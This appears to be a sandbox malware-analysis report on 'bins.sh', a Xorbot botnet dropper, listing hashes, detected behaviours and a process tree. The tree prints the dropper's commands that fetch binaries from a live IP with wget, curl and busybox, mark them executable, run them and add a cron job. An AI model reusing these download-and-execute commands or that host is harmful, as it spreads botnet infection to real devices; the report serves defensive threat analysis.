Analysis
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max time kernel
149s -
max time network
131s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
04/12/2024, 14:37
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
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Target
bins.sh
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Size
10KB
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MD5
d179667ead2f245ddba283f8e2fb59ef
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SHA1
8654aace077f9788caaf8d949452e5dcf73b6312
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SHA256
f379ab849a701f49f2fa39b75b82c5bc77dd368697aef31fdec28919506f60f6
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SHA512
c019f5fb06c6b1413fe9e3330ac0423f5bd9186353542aad29c195c17192fd3024fbed593cb199abcedc1d9187efda3b928bcf36cd346a3d9bc87d093500ea38
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SSDEEP
192:gVWERGiyF9rl3g6j6d0VJLbgFGiyF9rt6d0d:gUEi77xd
Malware Config
Signatures
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resource yara_rule behavioral1/files/fstream-1.dat family_xorbot behavioral1/files/fstream-5.dat family_xorbot behavioral1/files/fstream-7.dat family_xorbot -
Xorbot family
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File and Directory Permissions Modification 1 TTPs 4 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1513 chmod 1492 chmod 1499 chmod 1506 chmod -
Executes dropped EXE 4 IoCs
ioc pid Process /tmp/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa 1493 olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa /tmp/4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp 1500 4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp /tmp/gUklddTcclhntr6t2CxLNNBnNmnVZAzZhb 1507 gUklddTcclhntr6t2CxLNNBnNmnVZAzZhb /tmp/y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD 1514 y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD -
Renames itself 1 IoCs
pid Process 1515 y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.vWeIsk crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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description ioc Process File opened for reading /proc/13/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/34/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/81/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/153/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/155/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/1108/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/1461/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/1468/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/4/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/18/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/79/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/486/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/875/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/1130/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/1176/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/16/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/83/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/98/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/468/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/1026/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/1150/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/1324/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/267/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/538/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/1133/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/1144/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/28/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/1104/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/1129/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/1168/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/1463/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/19/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/25/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/6/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/17/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/154/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/164/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/168/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/198/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/457/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/474/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/30/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/446/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/476/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/1135/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/1162/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/8/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/11/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/89/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/160/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/165/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/170/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/660/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/1112/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/1125/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/1154/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/167/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/417/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/500/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/518/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/640/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/1120/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/3/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD File opened for reading /proc/115/cmdline y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD -
Writes file to tmp directory 12 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa wget File opened for modification /tmp/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa curl File opened for modification /tmp/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa busybox File opened for modification /tmp/4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp curl File opened for modification /tmp/gUklddTcclhntr6t2CxLNNBnNmnVZAzZhb wget File opened for modification /tmp/gUklddTcclhntr6t2CxLNNBnNmnVZAzZhb busybox File opened for modification /tmp/y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD wget File opened for modification /tmp/y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD busybox File opened for modification /tmp/4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp wget File opened for modification /tmp/4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp busybox File opened for modification /tmp/gUklddTcclhntr6t2CxLNNBnNmnVZAzZhb curl File opened for modification /tmp/y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD curl
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:1465
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/bin/rm/bin/rm bins.sh2⤵PID:1466
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/usr/bin/wgetwget http://216.126.231.240/bins/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa2⤵
- Writes file to tmp directory
PID:1467
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/usr/bin/curlcurl -O http://216.126.231.240/bins/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa2⤵
- Writes file to tmp directory
PID:1490
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa2⤵
- Writes file to tmp directory
PID:1491
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/bin/chmodchmod 777 olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa2⤵
- File and Directory Permissions Modification
PID:1492
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/tmp/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa./olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa2⤵
- Executes dropped EXE
PID:1493
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/bin/rmrm olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa2⤵PID:1495
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/usr/bin/wgetwget http://216.126.231.240/bins/4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp2⤵
- Writes file to tmp directory
PID:1496
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/usr/bin/curlcurl -O http://216.126.231.240/bins/4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp2⤵
- Writes file to tmp directory
PID:1497
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp2⤵
- Writes file to tmp directory
PID:1498
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/bin/chmodchmod 777 4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp2⤵
- File and Directory Permissions Modification
PID:1499
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/tmp/4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp./4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp2⤵
- Executes dropped EXE
PID:1500
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/bin/rmrm 4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp2⤵PID:1502
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/usr/bin/wgetwget http://216.126.231.240/bins/gUklddTcclhntr6t2CxLNNBnNmnVZAzZhb2⤵
- Writes file to tmp directory
PID:1503
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/usr/bin/curlcurl -O http://216.126.231.240/bins/gUklddTcclhntr6t2CxLNNBnNmnVZAzZhb2⤵
- Writes file to tmp directory
PID:1504
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/gUklddTcclhntr6t2CxLNNBnNmnVZAzZhb2⤵
- Writes file to tmp directory
PID:1505
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/bin/chmodchmod 777 gUklddTcclhntr6t2CxLNNBnNmnVZAzZhb2⤵
- File and Directory Permissions Modification
PID:1506
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/tmp/gUklddTcclhntr6t2CxLNNBnNmnVZAzZhb./gUklddTcclhntr6t2CxLNNBnNmnVZAzZhb2⤵
- Executes dropped EXE
PID:1507
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/bin/rmrm gUklddTcclhntr6t2CxLNNBnNmnVZAzZhb2⤵PID:1509
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/usr/bin/wgetwget http://216.126.231.240/bins/y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD2⤵
- Writes file to tmp directory
PID:1510
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/usr/bin/curlcurl -O http://216.126.231.240/bins/y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD2⤵
- Writes file to tmp directory
PID:1511
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD2⤵
- Writes file to tmp directory
PID:1512
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/bin/chmodchmod 777 y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD2⤵
- File and Directory Permissions Modification
PID:1513
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/tmp/y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD./y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1514 -
/bin/shsh -c "crontab -l"3⤵PID:1516
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/usr/bin/crontabcrontab -l4⤵PID:1517
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/bin/shsh -c "crontab -"3⤵PID:1518
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1519
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/bin/rmrm y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD2⤵PID:1521
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/usr/bin/wgetwget http://216.126.231.240/bins/kYJNXPrHshBf7YvxnJAkNWBectXHHl4XK82⤵PID:1524
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
151KB
MD53c90d5820bddcf7c5d1bd21dfa49d958
SHA15ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA256bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
SHA51254a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
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Filesize
111KB
MD5701e7a55a4f3650f5feee92a9860e5fc
SHA16ce4a7f0dc80fe557a0ace4de25e6305af221ed4
SHA256ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
SHA5127352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11
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Filesize
127KB
MD589077b7bd4bcafca7713be43635c4862
SHA1fc02edb8fba29ea8ee99e6157ef8560334530052
SHA25678416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
SHA5121b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
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Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
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Filesize
210B
MD510b49a04e011938a54781ddbbe356557
SHA10f888a41ecfb67056d39a32ca24cc8d3b20d9450
SHA2565dddb622a00218dcce4bf844fbea6f4b31122d18a71cb2ad754fc26ff921de26
SHA512362f6e4f419289734dd6882ec912e36cc1f01ac82bafe1b4015cd48aad97ee77191486a05a62290ebd48dc32b105cfd6c5e66d08cfecb1595fed47b3eb81ecb0